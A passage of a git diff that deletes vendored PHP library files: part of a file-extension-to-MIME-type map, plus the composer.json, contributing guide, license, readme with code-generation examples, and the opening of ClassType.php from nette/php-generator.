'application/octet-stream', - 'see' => 'application/vnd.seemail', - 'seed' => 'application/vnd.fdsn.seed', - 'sema' => 'application/vnd.sema', - 'semd' => 'application/vnd.semd', - 'semf' => 'application/vnd.semf', - 'senmlx' => 'application/senml+xml', - 'sensmlx' => 'application/sensml+xml', - 'ser' => 'application/java-serialized-object', - 'setpay' => 'application/set-payment-initiation', - 'setreg' => 'application/set-registration-initiation', - 'sfd-hdstx' => 'application/vnd.hydrostatix.sof-data', - 'sfs' => 'application/vnd.spotfire.sfs', - 'sfv' => 'text/x-sfv', - 'sgi' => 'image/sgi', - 'sgl' => 'application/vnd.stardivision.writer-global', - 'sgm' => 'text/sgml', - 'sgml' => 'text/sgml', - 'sh' => 'application/x-sh', - 'shar' => 'application/x-shar', - 'shex' => 'text/shex', - 'shf' => 'application/shf+xml', - 'shtml' => 'text/html', - 'sid' => 'image/x-mrsid-image', - 'sieve' => 'application/sieve', - 'sig' => 'application/pgp-signature', - 'sil' => 'audio/silk', - 'silo' => 'model/mesh', - 'sis' => 'application/vnd.symbian.install', - 'sisx' => 'application/vnd.symbian.install', - 'sit' => 'application/x-stuffit', - 'sitx' => 'application/x-stuffitx', - 'siv' => 'application/sieve', - 'skd' => 'application/vnd.koan', - 'skm' => 'application/vnd.koan', - 'skp' => 'application/vnd.koan', - 'skt' => 'application/vnd.koan', - 'sldm' => 'application/vnd.ms-powerpoint.slide.macroenabled.12', - 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', - 'slim' => 'text/slim', - 'slm' => 'text/slim', - 'sls' => 'application/route-s-tsid+xml', - 'slt' => 'application/vnd.epson.salt', - 'sm' => 'application/vnd.stepmania.stepchart', - 'smf' => 'application/vnd.stardivision.math', - 'smi' => 'application/smil', - 'smil' => 'application/smil', - 'smv' => 'video/x-smv', - 'smzip' => 'application/vnd.stepmania.package', - 'snd' => 'audio/basic', - 'snf' => 'application/x-font-snf', - 'so' => 'application/octet-stream', - 'spc' => 'application/x-pkcs7-certificates', - 'spdx' => 'text/spdx', - 'spf' => 'application/vnd.yamaha.smaf-phrase', - 'spl' => 'application/x-futuresplash', - 'spot' => 'text/vnd.in3d.spot', - 'spp' => 'application/scvp-vp-response', - 'spq' => 'application/scvp-vp-request', - 'spx' => 'audio/ogg', - 'sql' => 'application/x-sql', - 'src' => 'application/x-wais-source', - 'srt' => 'application/x-subrip', - 'sru' => 'application/sru+xml', - 'srx' => 'application/sparql-results+xml', - 'ssdl' => 'application/ssdl+xml', - 'sse' => 'application/vnd.kodak-descriptor', - 'ssf' => 'application/vnd.epson.ssf', - 'ssml' => 'application/ssml+xml', - 'sst' => 'application/octet-stream', - 'st' => 'application/vnd.sailingtracker.track', - 'stc' => 'application/vnd.sun.xml.calc.template', - 'std' => 'application/vnd.sun.xml.draw.template', - 'stf' => 'application/vnd.wt.stf', - 'sti' => 'application/vnd.sun.xml.impress.template', - 'stk' => 'application/hyperstudio', - 'stl' => 'model/stl', - 'str' => 'application/vnd.pg.format', - 'stw' => 'application/vnd.sun.xml.writer.template', - 'styl' => 'text/stylus', - 'stylus' => 'text/stylus', - 'sub' => 'text/vnd.dvb.subtitle', - 'sus' => 'application/vnd.sus-calendar', - 'susp' => 'application/vnd.sus-calendar', - 'sv4cpio' => 'application/x-sv4cpio', - 'sv4crc' => 'application/x-sv4crc', - 'svc' => 'application/vnd.dvb.service', - 'svd' => 'application/vnd.svd', - 'svg' => 'image/svg+xml', - 'svgz' => 'image/svg+xml', - 'swa' => 'application/x-director', - 'swf' => 'application/x-shockwave-flash', - 'swi' => 'application/vnd.aristanetworks.swi', - 'swidtag' => 'application/swid+xml', - 'sxc' => 'application/vnd.sun.xml.calc', - 'sxd' => 'application/vnd.sun.xml.draw', - 'sxg' => 'application/vnd.sun.xml.writer.global', - 'sxi' => 'application/vnd.sun.xml.impress', - 'sxm' => 'application/vnd.sun.xml.math', - 'sxw' => 'application/vnd.sun.xml.writer', - 't' => 'text/troff', - 't3' => 'application/x-t3vm-image', - 't38' => 'image/t38', - 'taglet' => 'application/vnd.mynfc', - 'tao' => 'application/vnd.tao.intent-module-archive', - 'tap' => 'image/vnd.tencent.tap', - 'tar' => 'application/x-tar', - 'tcap' => 'application/vnd.3gpp2.tcap', - 'tcl' => 'application/x-tcl', - 'td' => 'application/urc-targetdesc+xml', - 'teacher' => 'application/vnd.smart.teacher', - 'tei' => 'application/tei+xml', - 'teicorpus' => 'application/tei+xml', - 'tex' => 'application/x-tex', - 'texi' => 'application/x-texinfo', - 'texinfo' => 'application/x-texinfo', - 'text' => 'text/plain', - 'tfi' => 'application/thraud+xml', - 'tfm' => 'application/x-tex-tfm', - 'tfx' => 'image/tiff-fx', - 'tga' => 'image/x-tga', - 'tgz' => 'application/x-tar', - 'thmx' => 'application/vnd.ms-officetheme', - 'tif' => 'image/tiff', - 'tiff' => 'image/tiff', - 'tk' => 'application/x-tcl', - 'tmo' => 'application/vnd.tmobile-livetv', - 'toml' => 'application/toml', - 'torrent' => 'application/x-bittorrent', - 'tpl' => 'application/vnd.groove-tool-template', - 'tpt' => 'application/vnd.trid.tpt', - 'tr' => 'text/troff', - 'tra' => 'application/vnd.trueapp', - 'trm' => 'application/x-msterminal', - 'ts' => 'video/mp2t', - 'tsd' => 'application/timestamped-data', - 'tsv' => 'text/tab-separated-values', - 'ttc' => 'font/collection', - 'ttf' => 'font/ttf', - 'ttl' => 'text/turtle', - 'ttml' => 'application/ttml+xml', - 'twd' => 'application/vnd.simtech-mindmapper', - 'twds' => 'application/vnd.simtech-mindmapper', - 'txd' => 'application/vnd.genomatix.tuxedo', - 'txf' => 'application/vnd.mobius.txf', - 'txt' => 'text/plain', - 'u8dsn' => 'message/global-delivery-status', - 'u8hdr' => 'message/global-headers', - 'u8mdn' => 'message/global-disposition-notification', - 'u8msg' => 'message/global', - 'u32' => 'application/x-authorware-bin', - 'ubj' => 'application/ubjson', - 'udeb' => 'application/x-debian-package', - 'ufd' => 'application/vnd.ufdl', - 'ufdl' => 'application/vnd.ufdl', - 'ulx' => 'application/x-glulx', - 'umj' => 'application/vnd.umajin', - 'unityweb' => 'application/vnd.unity', - 'uoml' => 'application/vnd.uoml+xml', - 'uri' => 'text/uri-list', - 'uris' => 'text/uri-list', - 'urls' => 'text/uri-list', - 'usdz' => 'model/vnd.usdz+zip', - 'ustar' => 'application/x-ustar', - 'utz' => 'application/vnd.uiq.theme', - 'uu' => 'text/x-uuencode', - 'uva' => 'audio/vnd.dece.audio', - 'uvd' => 'application/vnd.dece.data', - 'uvf' => 'application/vnd.dece.data', - 'uvg' => 'image/vnd.dece.graphic', - 'uvh' => 'video/vnd.dece.hd', - 'uvi' => 'image/vnd.dece.graphic', - 'uvm' => 'video/vnd.dece.mobile', - 'uvp' => 'video/vnd.dece.pd', - 'uvs' => 'video/vnd.dece.sd', - 'uvt' => 'application/vnd.dece.ttml+xml', - 'uvu' => 'video/vnd.uvvu.mp4', - 'uvv' => 'video/vnd.dece.video', - 'uvva' => 'audio/vnd.dece.audio', - 'uvvd' => 'application/vnd.dece.data', - 'uvvf' => 'application/vnd.dece.data', - 'uvvg' => 'image/vnd.dece.graphic', - 'uvvh' => 'video/vnd.dece.hd', - 'uvvi' => 'image/vnd.dece.graphic', - 'uvvm' => 'video/vnd.dece.mobile', - 'uvvp' => 'video/vnd.dece.pd', - 'uvvs' => 'video/vnd.dece.sd', - 'uvvt' => 'application/vnd.dece.ttml+xml', - 'uvvu' => 'video/vnd.uvvu.mp4', - 'uvvv' => 'video/vnd.dece.video', - 'uvvx' => 'application/vnd.dece.unspecified', - 'uvvz' => 'application/vnd.dece.zip', - 'uvx' => 'application/vnd.dece.unspecified', - 'uvz' => 'application/vnd.dece.zip', - 'vbox' => 'application/x-virtualbox-vbox', - 'vbox-extpack' => 'application/x-virtualbox-vbox-extpack', - 'vcard' => 'text/vcard', - 'vcd' => 'application/x-cdlink', - 'vcf' => 'text/x-vcard', - 'vcg' => 'application/vnd.groove-vcard', - 'vcs' => 'text/x-vcalendar', - 'vcx' => 'application/vnd.vcx', - 'vdi' => 'application/x-virtualbox-vdi', - 'vhd' => 'application/x-virtualbox-vhd', - 'vis' => 'application/vnd.visionary', - 'viv' => 'video/vnd.vivo', - 'vlc' => 'application/videolan', - 'vmdk' => 'application/x-virtualbox-vmdk', - 'vob' => 'video/x-ms-vob', - 'vor' => 'application/vnd.stardivision.writer', - 'vox' => 'application/x-authorware-bin', - 'vrml' => 'model/vrml', - 'vsd' => 'application/vnd.visio', - 'vsf' => 'application/vnd.vsf', - 'vss' => 'application/vnd.visio', - 'vst' => 'application/vnd.visio', - 'vsw' => 'application/vnd.visio', - 'vtf' => 'image/vnd.valve.source.texture', - 'vtt' => 'text/vtt', - 'vtu' => 'model/vnd.vtu', - 'vxml' => 'application/voicexml+xml', - 'w3d' => 'application/x-director', - 'wad' => 'application/x-doom', - 'wadl' => 'application/vnd.sun.wadl+xml', - 'war' => 'application/java-archive', - 'wasm' => 'application/wasm', - 'wav' => 'audio/x-wav', - 'wax' => 'audio/x-ms-wax', - 'wbmp' => 'image/vnd.wap.wbmp', - 'wbs' => 'application/vnd.criticaltools.wbs+xml', - 'wbxml' => 'application/wbxml', - 'wcm' => 'application/vnd.ms-works', - 'wdb' => 'application/vnd.ms-works', - 'wdp' => 'image/vnd.ms-photo', - 'weba' => 'audio/webm', - 'webapp' => 'application/x-web-app-manifest+json', - 'webm' => 'video/webm', - 'webmanifest' => 'application/manifest+json', - 'webp' => 'image/webp', - 'wg' => 'application/vnd.pmi.widget', - 'wgt' => 'application/widget', - 'wks' => 'application/vnd.ms-works', - 'wm' => 'video/x-ms-wm', - 'wma' => 'audio/x-ms-wma', - 'wmd' => 'application/x-ms-wmd', - 'wmf' => 'image/wmf', - 'wml' => 'text/vnd.wap.wml', - 'wmlc' => 'application/wmlc', - 'wmls' => 'text/vnd.wap.wmlscript', - 'wmlsc' => 'application/vnd.wap.wmlscriptc', - 'wmv' => 'video/x-ms-wmv', - 'wmx' => 'video/x-ms-wmx', - 'wmz' => 'application/x-msmetafile', - 'woff' => 'font/woff', - 'woff2' => 'font/woff2', - 'word' => 'application/msword', - 'wpd' => 'application/vnd.wordperfect', - 'wpl' => 'application/vnd.ms-wpl', - 'wps' => 'application/vnd.ms-works', - 'wqd' => 'application/vnd.wqd', - 'wri' => 'application/x-mswrite', - 'wrl' => 'model/vrml', - 'wsc' => 'message/vnd.wfa.wsc', - 'wsdl' => 'application/wsdl+xml', - 'wspolicy' => 'application/wspolicy+xml', - 'wtb' => 'application/vnd.webturbo', - 'wvx' => 'video/x-ms-wvx', - 'x3d' => 'model/x3d+xml', - 'x3db' => 'model/x3d+fastinfoset', - 'x3dbz' => 'model/x3d+binary', - 'x3dv' => 'model/x3d-vrml', - 'x3dvz' => 'model/x3d+vrml', - 'x3dz' => 'model/x3d+xml', - 'x32' => 'application/x-authorware-bin', - 'x_b' => 'model/vnd.parasolid.transmit.binary', - 'x_t' => 'model/vnd.parasolid.transmit.text', - 'xaml' => 'application/xaml+xml', - 'xap' => 'application/x-silverlight-app', - 'xar' => 'application/vnd.xara', - 'xav' => 'application/xcap-att+xml', - 'xbap' => 'application/x-ms-xbap', - 'xbd' => 'application/vnd.fujixerox.docuworks.binder', - 'xbm' => 'image/x-xbitmap', - 'xca' => 'application/xcap-caps+xml', - 'xcs' => 'application/calendar+xml', - 'xdf' => 'application/xcap-diff+xml', - 'xdm' => 'application/vnd.syncml.dm+xml', - 'xdp' => 'application/vnd.adobe.xdp+xml', - 'xdssc' => 'application/dssc+xml', - 'xdw' => 'application/vnd.fujixerox.docuworks', - 'xel' => 'application/xcap-el+xml', - 'xenc' => 'application/xenc+xml', - 'xer' => 'application/xcap-error+xml', - 'xfdf' => 'application/vnd.adobe.xfdf', - 'xfdl' => 'application/vnd.xfdl', - 'xht' => 'application/xhtml+xml', - 'xhtml' => 'application/xhtml+xml', - 'xhvml' => 'application/xv+xml', - 'xif' => 'image/vnd.xiff', - 'xl' => 'application/excel', - 'xla' => 'application/vnd.ms-excel', - 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', - 'xlc' => 'application/vnd.ms-excel', - 'xlf' => 'application/xliff+xml', - 'xlm' => 'application/vnd.ms-excel', - 'xls' => 'application/vnd.ms-excel', - 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', - 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12', - 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', - 'xlt' => 'application/vnd.ms-excel', - 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12', - 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', - 'xlw' => 'application/vnd.ms-excel', - 'xm' => 'audio/xm', - 'xml' => 'application/xml', - 'xns' => 'application/xcap-ns+xml', - 'xo' => 'application/vnd.olpc-sugar', - 'xop' => 'application/xop+xml', - 'xpi' => 'application/x-xpinstall', - 'xpl' => 'application/xproc+xml', - 'xpm' => 'image/x-xpixmap', - 'xpr' => 'application/vnd.is-xpr', - 'xps' => 'application/vnd.ms-xpsdocument', - 'xpw' => 'application/vnd.intercon.formnet', - 'xpx' => 'application/vnd.intercon.formnet', - 'xsd' => 'application/xml', - 'xsl' => 'application/xml', - 'xslt' => 'application/xslt+xml', - 'xsm' => 'application/vnd.syncml+xml', - 'xspf' => 'application/xspf+xml', - 'xul' => 'application/vnd.mozilla.xul+xml', - 'xvm' => 'application/xv+xml', - 'xvml' => 'application/xv+xml', - 'xwd' => 'image/x-xwindowdump', - 'xyz' => 'chemical/x-xyz', - 'xz' => 'application/x-xz', - 'yaml' => 'text/yaml', - 'yang' => 'application/yang', - 'yin' => 'application/yin+xml', - 'yml' => 'text/yaml', - 'ymp' => 'text/x-suse-ymp', - 'z' => 'application/x-compress', - 'z1' => 'application/x-zmachine', - 'z2' => 'application/x-zmachine', - 'z3' => 'application/x-zmachine', - 'z4' => 'application/x-zmachine', - 'z5' => 'application/x-zmachine', - 'z6' => 'application/x-zmachine', - 'z7' => 'application/x-zmachine', - 'z8' => 'application/x-zmachine', - 'zaz' => 'application/vnd.zzazz.deck+xml', - 'zip' => 'application/x-zip', - 'zir' => 'application/vnd.zul', - 'zirz' => 'application/vnd.zul', - 'zmm' => 'application/vnd.handheld-entertainment+xml', - 'zsh' => 'text/x-scriptzsh', - ]; - - public function lookupMimeType(string $extension): ?string - { - return self::MIME_TYPES_FOR_EXTENSIONS[$extension] ?? null; - } -} diff --git a/vendor/league/mime-type-detection/src/MimeTypeDetector.php b/vendor/league/mime-type-detection/src/MimeTypeDetector.php deleted file mode 100644 index 5d799d2..0000000 --- a/vendor/league/mime-type-detection/src/MimeTypeDetector.php +++ /dev/null @@ -1,19 +0,0 @@ -=7.1", - "nette/utils": "^2.4.2 || ^3.0" - }, - "require-dev": { - "nette/tester": "^2.0", - "nikic/php-parser": "^4.4", - "tracy/tracy": "^2.3", - "phpstan/phpstan": "^0.12" - }, - "suggest": { - "nikic/php-parser": "to use ClassType::withBodiesFrom() & GlobalFunction::withBodyFrom()" - }, - "autoload": { - "classmap": ["src/"] - }, - "minimum-stability": "dev", - "scripts": { - "phpstan": "phpstan analyse --level 5 --configuration tests/phpstan.neon src", - "tester": "tester tests -s" - }, - "extra": { - "branch-alias": { - "dev-master": "3.4-dev" - } - } -} diff --git a/vendor/nette/php-generator/contributing.md b/vendor/nette/php-generator/contributing.md deleted file mode 100644 index 184152c..0000000 --- a/vendor/nette/php-generator/contributing.md +++ /dev/null @@ -1,33 +0,0 @@ -How to contribute & use the issue tracker -========================================= - -Nette welcomes your contributions. There are several ways to help out: - -* Create an issue on GitHub, if you have found a bug -* Write test cases for open bug issues -* Write fixes for open bug/feature issues, preferably with test cases included -* Contribute to the [documentation](https://nette.org/en/writing) - -Issues ------- - -Please **do not use the issue tracker to ask questions**. We will be happy to help you -on [Nette forum](https://forum.nette.org) or chat with us on [Gitter](https://gitter.im/nette/nette). - -A good bug report shouldn't leave others needing to chase you up for more -information. Please try to be as detailed as possible in your report. - -**Feature requests** are welcome. But take a moment to find out whether your idea -fits with the scope and aims of the project. It's up to *you* to make a strong -case to convince the project's developers of the merits of this feature. - -Contributing ------------- - -If you'd like to contribute, please take a moment to read [the contributing guide](https://nette.org/en/contributing). - -The best way to propose a feature is to discuss your ideas on [Nette forum](https://forum.nette.org) before implementing them. - -Please do not fix whitespace, format code, or make a purely cosmetic patch. - -Thanks! :heart: diff --git a/vendor/nette/php-generator/license.md b/vendor/nette/php-generator/license.md deleted file mode 100644 index cf741bd..0000000 --- a/vendor/nette/php-generator/license.md +++ /dev/null @@ -1,60 +0,0 @@ -Licenses -======== - -Good news! You may use Nette Framework under the terms of either -the New BSD License or the GNU General Public License (GPL) version 2 or 3. - -The BSD License is recommended for most projects. It is easy to understand and it -places almost no restrictions on what you can do with the framework. If the GPL -fits better to your project, you can use the framework under this license. - -You don't have to notify anyone which license you are using. You can freely -use Nette Framework in commercial projects as long as the copyright header -remains intact. - -Please be advised that the name "Nette Framework" is a protected trademark and its -usage has some limitations. So please do not use word "Nette" in the name of your -project or top-level domain, and choose a name that stands on its own merits. -If your stuff is good, it will not take long to establish a reputation for yourselves. - - -New BSD License ---------------- - -Copyright (c) 2004, 2014 David Grudl (https://davidgrudl.com) -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - - * Neither the name of "Nette Framework" nor the names of its contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -This software is provided by the copyright holders and contributors "as is" and -any express or implied warranties, including, but not limited to, the implied -warranties of merchantability and fitness for a particular purpose are -disclaimed. In no event shall the copyright owner or contributors be liable for -any direct, indirect, incidental, special, exemplary, or consequential damages -(including, but not limited to, procurement of substitute goods or services; -loss of use, data, or profits; or business interruption) however caused and on -any theory of liability, whether in contract, strict liability, or tort -(including negligence or otherwise) arising in any way out of the use of this -software, even if advised of the possibility of such damage. - - -GNU General Public License --------------------------- - -GPL licenses are very very long, so instead of including them here we offer -you URLs with full text: - -- [GPL version 2](http://www.gnu.org/licenses/gpl-2.0.html) -- [GPL version 3](http://www.gnu.org/licenses/gpl-3.0.html) diff --git a/vendor/nette/php-generator/readme.md b/vendor/nette/php-generator/readme.md deleted file mode 100644 index 524fe2f..0000000 --- a/vendor/nette/php-generator/readme.md +++ /dev/null @@ -1,578 +0,0 @@ -Nette PHP Generator -=================== - -[![Downloads this Month](https://img.shields.io/packagist/dm/nette/php-generator.svg)](https://packagist.org/packages/nette/php-generator) -[![Build Status](https://travis-ci.org/nette/php-generator.svg?branch=master)](https://travis-ci.org/nette/php-generator) -[![Coverage Status](https://coveralls.io/repos/github/nette/php-generator/badge.svg?branch=master&v=1)](https://coveralls.io/github/nette/php-generator?branch=master) -[![Latest Stable Version](https://poser.pugx.org/nette/php-generator/v/stable)](https://github.com/nette/php-generator/releases) -[![License](https://img.shields.io/badge/license-New%20BSD-blue.svg)](https://github.com/nette/php-generator/blob/master/license.md) - - -Introduction ------------- - -Generate PHP code, classes, namespaces etc. with a simple programmatical API. - -Documentation can be found on the [website](https://doc.nette.org/php-generator). - -If you like Nette, **[please make a donation now](https://nette.org/donate)**. Thank you! - - -Installation ------------- - -The recommended way to install is via Composer: - -``` -composer require nette/php-generator -``` - -- PhpGenerator 3.2 – 3.4 is compatible with PHP 7.1 to 7.4 -- PhpGenerator 3.1 is compatible with PHP 7.1 to 7.3 -- PhpGenerator 3.0 is compatible with PHP 7.0 to 7.3 -- PhpGenerator 2.6 is compatible with PHP 5.6 to 7.3 - - -Usage ------ - -Usage is very easy. Let's start with a straightforward example of generating class: - -```php -$class = new Nette\PhpGenerator\ClassType('Demo'); - -$class - ->setFinal() - ->setExtends(ParentClass::class) - ->addImplement(Countable::class) - ->addTrait(Nette\SmartObject::class) - ->addComment("Description of class.\nSecond line\n") - ->addComment('@property-read Nette\Forms\Form $form'); - -// to generate PHP code simply cast to string or use echo: -echo $class; - -// or use printer: -$printer = new Nette\PhpGenerator\Printer; -echo $printer->printClass($class); -``` - -It will render this result: - -```php -/** - * Description of class. - * Second line - * - * @property-read Nette\Forms\Form $form - */ -final class Demo extends ParentClass implements Countable -{ - use Nette\SmartObject; -} -``` - -We can add constants and properties: - -```php -$class->addConstant('ID', 123); - -$class->addProperty('items', [1, 2, 3]) - ->setPrivate() - ->setStatic() - ->addComment('@var int[]'); -``` - -It generates: - -```php -const ID = 123; - -/** @var int[] */ -private static $items = [1, 2, 3]; -``` - -And we can add methods with parameters: - -```php -$method = $class->addMethod('count') - ->addComment('Count it.') - ->addComment('@return int') - ->setFinal() - ->setProtected() - ->setBody('return count($items ?: $this->items);'); - -$method->addParameter('items', []) // $items = [] - ->setReference() // &$items = [] - ->setType('array'); // array &$items = [] -``` - -It results in: - -```php -/** - * Count it. - * @return int - */ -final protected function count(array &$items = []) -{ - return count($items ?: $this->items); -} -``` - -If the property, constant, method or parameter already exist, it will be overwritten. - -Members can be removed using `removeProperty()`, `removeConstant()`, `removeMethod()` or `removeParameter()`. - -PHP Generator supports all new PHP 7.3 and 7.4 features: - -```php -use Nette\PhpGenerator\Type; - -$class = new Nette\PhpGenerator\ClassType('Demo'); - -$class->addConstant('ID', 123) - ->setPrivate(); // constant visiblity - -$class->addProperty('items') - ->setType(Type::ARRAY) // typed properites - ->setNullable() - ->setInitialized(); - -$method = $class->addMethod('getValue') - ->setReturnType(Type::INT) // method return type - ->setReturnNullable() // nullable return type - ->setBody('return count($this->items);'); - -$method->addParameter('id') - ->setType(Type::ARRAY) // scalar type hint - ->setNullable(); // nullable type hint - -echo $class; -``` - -Result: - -```php -class Demo -{ - private const ID = 123; - - public ?array $items = null; - - public function getValue(?int $id): ?int - { - return count($this->items); - } -} -``` - -You can also add existing `Method`, `Property` or `Constant` objects to the class: - -```php -$method = new Nette\PhpGenerator\Method('getHandle'); -$property = new Nette\PhpGenerator\Property('handle'); -$const = new Nette\PhpGenerator\Constant('ROLE'); - -$class = (new Nette\PhpGenerator\ClassType('Demo')) - ->addMember($method) - ->addMember($property) - ->addMember($const); -``` - -You can clone existing methods, properties and constants with a different name using `cloneWithName()`: - -```php -$methodCount = $class->getMethod('count'); -$methodRecount = $methodCount->cloneWithName('recount'); -$class->addMember($methodRecount); -``` - -Tabs versus spaces ------------------- - -The generated code uses tabs for indentation. If you want to have the output compatible with PSR-2 or PSR-12, use `PsrPrinter`: - -```php -$class = new Nette\PhpGenerator\ClassType('Demo'); -// ... - -$printer = new Nette\PhpGenerator\PsrPrinter; -echo $printer->printClass($class); // 4 spaces indentation -``` - -It can be used also for functions, closures, namespaces etc. - - -Literals --------- - -You can pass any PHP code to property or parameter default values via `Literal`: - -```php -use Nette\PhpGenerator\Literal; - -$class = new Nette\PhpGenerator\ClassType('Demo'); - -$class->addProperty('foo', new Literal('Iterator::SELF_FIRST')); - -$class->addMethod('bar') - ->addParameter('id', new Literal('1 + 2')); - -echo $class; -``` - -Result: - -```php -class Demo -{ - public $foo = Iterator::SELF_FIRST; - - public function bar($id = 1 + 2) - { - } -} -``` - -Interface or Trait ------------------- - -```php -$class = new Nette\PhpGenerator\ClassType('DemoInterface'); -$class->setInterface(); -// or $class->setTrait(); -``` - -Trait Resolutions and Visibility --------------------------------- - -```php -$class = new Nette\PhpGenerator\ClassType('Demo'); -$class->addTrait('SmartObject', ['sayHello as protected']); -echo $class; -``` - -Result: - -```php -class Demo -{ - use SmartObject { - sayHello as protected; - } -} -``` - -Anonymous Class ---------------- - -```php -$class = new Nette\PhpGenerator\ClassType(null); -$class->addMethod('__construct') - ->addParameter('foo'); - -echo '$obj = new class ($val) ' . $class . ';'; -``` - -Result: - -```php -$obj = new class ($val) { - - public function __construct($foo) - { - } -}; -``` - -Global Function ---------------- - -Code of function: - -```php -$function = new Nette\PhpGenerator\GlobalFunction('foo'); -$function->setBody('return $a + $b;'); -$function->addParameter('a'); -$function->addParameter('b'); -echo $function; - -// or use PsrPrinter for output compatible with PSR-2 / PSR-12 -// echo (new Nette\PhpGenerator\PsrPrinter)->printFunction($function); -``` - -Result: - -```php -function foo($a, $b) -{ - return $a + $b; -} -``` - -Closure -------- - -Code of closure: - -```php -$closure = new Nette\PhpGenerator\Closure; -$closure->setBody('return $a + $b;'); -$closure->addParameter('a'); -$closure->addParameter('b'); -$closure->addUse('c') - ->setReference(); -echo $closure; - -// or use PsrPrinter for output compatible with PSR-2 / PSR-12 -// echo (new Nette\PhpGenerator\PsrPrinter)->printClosure($closure); -``` - -Result: - -```php -function ($a, $b) use (&$c) { - return $a + $b; -} -``` - -Arrow function --------------- - -You can also print closure as arrow function using printer: - -```php -$closure = new Nette\PhpGenerator\Closure; -$closure->setBody('return $a + $b;'); -$closure->addParameter('a'); -$closure->addParameter('b'); - -// or use PsrPrinter for output compatible with PSR-2 / PSR-12 -echo (new Nette\PhpGenerator\Printer)->printArrowFunction($closure); -``` - -Result: - -```php -fn ($a, $b) => $a + $b; -``` - -Method and Function Body Generator ----------------------------------- - -You can use special placeholders for handy way to generate method or function body. - -Simple placeholders: - -```php -$str = 'any string'; -$num = 3; -$function = new Nette\PhpGenerator\GlobalFunction('foo'); -$function->addBody('return strlen(?, ?);', [$str, $num]); -echo $function; -``` - -Result: - -```php -function foo() -{ - return strlen('any string', 3); -} -``` - -Variadic placeholder: - -```php -$items = [1, 2, 3]; -$function = new Nette\PhpGenerator\GlobalFunction('foo'); -$function->setBody('myfunc(...?);', [$items]); -echo $function; -``` - -Result: - -```php -function foo() -{ - myfunc(1, 2, 3); -} -``` - -Escape placeholder using slash: - -```php -$num = 3; -$function = new Nette\PhpGenerator\GlobalFunction('foo'); -$function->addParameter('a'); -$function->addBody('return $a \? 10 : ?;', [$num]); -echo $function; -``` - -Result: - -```php -function foo($a) -{ - return $a ? 10 : 3; -} -``` - -Namespace ---------- - -Classes, traits and interfaces (hereinafter classes) can be grouped into namespaces: - -```php -$namespace = new Nette\PhpGenerator\PhpNamespace('Foo'); - -$class = $namespace->addClass('Task'); -$interface = $namespace->addInterface('Countable'); -$trait = $namespace->addTrait('NameAware'); - -// or -$class = new Nette\PhpGenerator\ClassType('Task'); -$namespace->add($class); -``` - -If the class already exists, it will be overwritten. - -You can define use-statements: - -```php -$namespace->addUse(Http\Request::class); // use Http\Request; -$namespace->addUse(Http\Request::class, 'HttpReq'); // use Http\Request as HttpReq; -``` - -**IMPORTANT NOTE:** when the class is part of the namespace, it is rendered slightly differently: all types (ie. type hints, return types, parent class name, -implemented interfaces and used traits) are automatically *resolved* (unless you turn it off, see below). -It means that you have to **use full class names** in definitions and they will be replaced -with aliases (according to the use-statements) or fully qualified names in the resulting code: - -```php -$namespace = new Nette\PhpGenerator\PhpNamespace('Foo'); -$namespace->addUse('Bar\AliasedClass'); - -$class = $namespace->addClass('Demo'); -$class->addImplement('Foo\A') // it will resolve to A - ->addTrait('Bar\AliasedClass'); // it will resolve to AliasedClass - -$method = $class->addMethod('method'); -$method->addComment('@return ' . $namespace->unresolveName('Foo\D')); // in comments resolve manually -$method->addParameter('arg') - ->setType('Bar\OtherClass'); // it will resolve to \Bar\OtherClass - -echo $namespace; - -// or use PsrPrinter for output compatible with PSR-2 / PSR-12 -// echo (new Nette\PhpGenerator\PsrPrinter)->printNamespace($namespace); -``` - -Result: - -```php -namespace Foo; - -use Bar\AliasedClass; - -class Demo implements A -{ - use AliasedClass; - - /** - * @return D - */ - public function method(\Bar\OtherClass $arg) - { - } -} -``` - -Auto-resolving can be turned off this way: - -```php -$printer = new Nette\PhpGenerator\Printer; // or PsrPrinter -$printer->setTypeResolving(false); -echo $printer->printNamespace($namespace); -``` - -PHP Files ---------- - -PHP files can contains multiple classes, namespaces and comments: - -```php -$file = new Nette\PhpGenerator\PhpFile; -$file->addComment('This file is auto-generated.'); -$file->setStrictTypes(); // adds declare(strict_types=1) - -$namespace = $file->addNamespace('Foo'); -$class = $namespace->addClass('A'); -$class->addMethod('hello'); - -echo $file; - -// or use PsrPrinter for output compatible with PSR-2 / PSR-12 -// echo (new Nette\PhpGenerator\PsrPrinter)->printFile($file); -``` - -Result: - -```php -dump($var); // prints ['a', 'b', 123] -``` diff --git a/vendor/nette/php-generator/src/PhpGenerator/ClassType.php b/vendor/nette/php-generator/src/PhpGenerator/ClassType.php deleted file mode 100644 index a1358b0..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/ClassType.php +++ /dev/null @@ -1,543 +0,0 @@ - Constant */ - private $consts = []; - - /** @var Property[] name => Property */ - private $properties = []; - - /** @var Method[] name => Method */ - private $methods = []; - - - /** - * @param string|object $class - */ - public static function from($class): self - { - return (new Factory)->fromClassReflection(new \ReflectionClass($class)); - } - - - /** - * @param string|object $class - */ - public static function withBodiesFrom($class): self - { - return (new Factory)->fromClassReflection(new \ReflectionClass($class), true); - } - - - public function __construct(string $name = null, PhpNamespace $namespace = null) - { - $this->setName($name); - $this->namespace = $namespace; - } - - - public function __toString(): string - { - try { - return (new Printer)->printClass($this, $this->namespace); - } catch (\Throwable $e) { - if (PHP_VERSION_ID >= 70400) { - throw $e; - } - trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); - return ''; - } - } - - - /** @deprecated an object can be in multiple namespaces */ - public function getNamespace(): ?PhpNamespace - { - return $this->namespace; - } - - - /** @return static */ - public function setName(?string $name): self - { - if ($name !== null && !Helpers::isIdentifier($name)) { - throw new 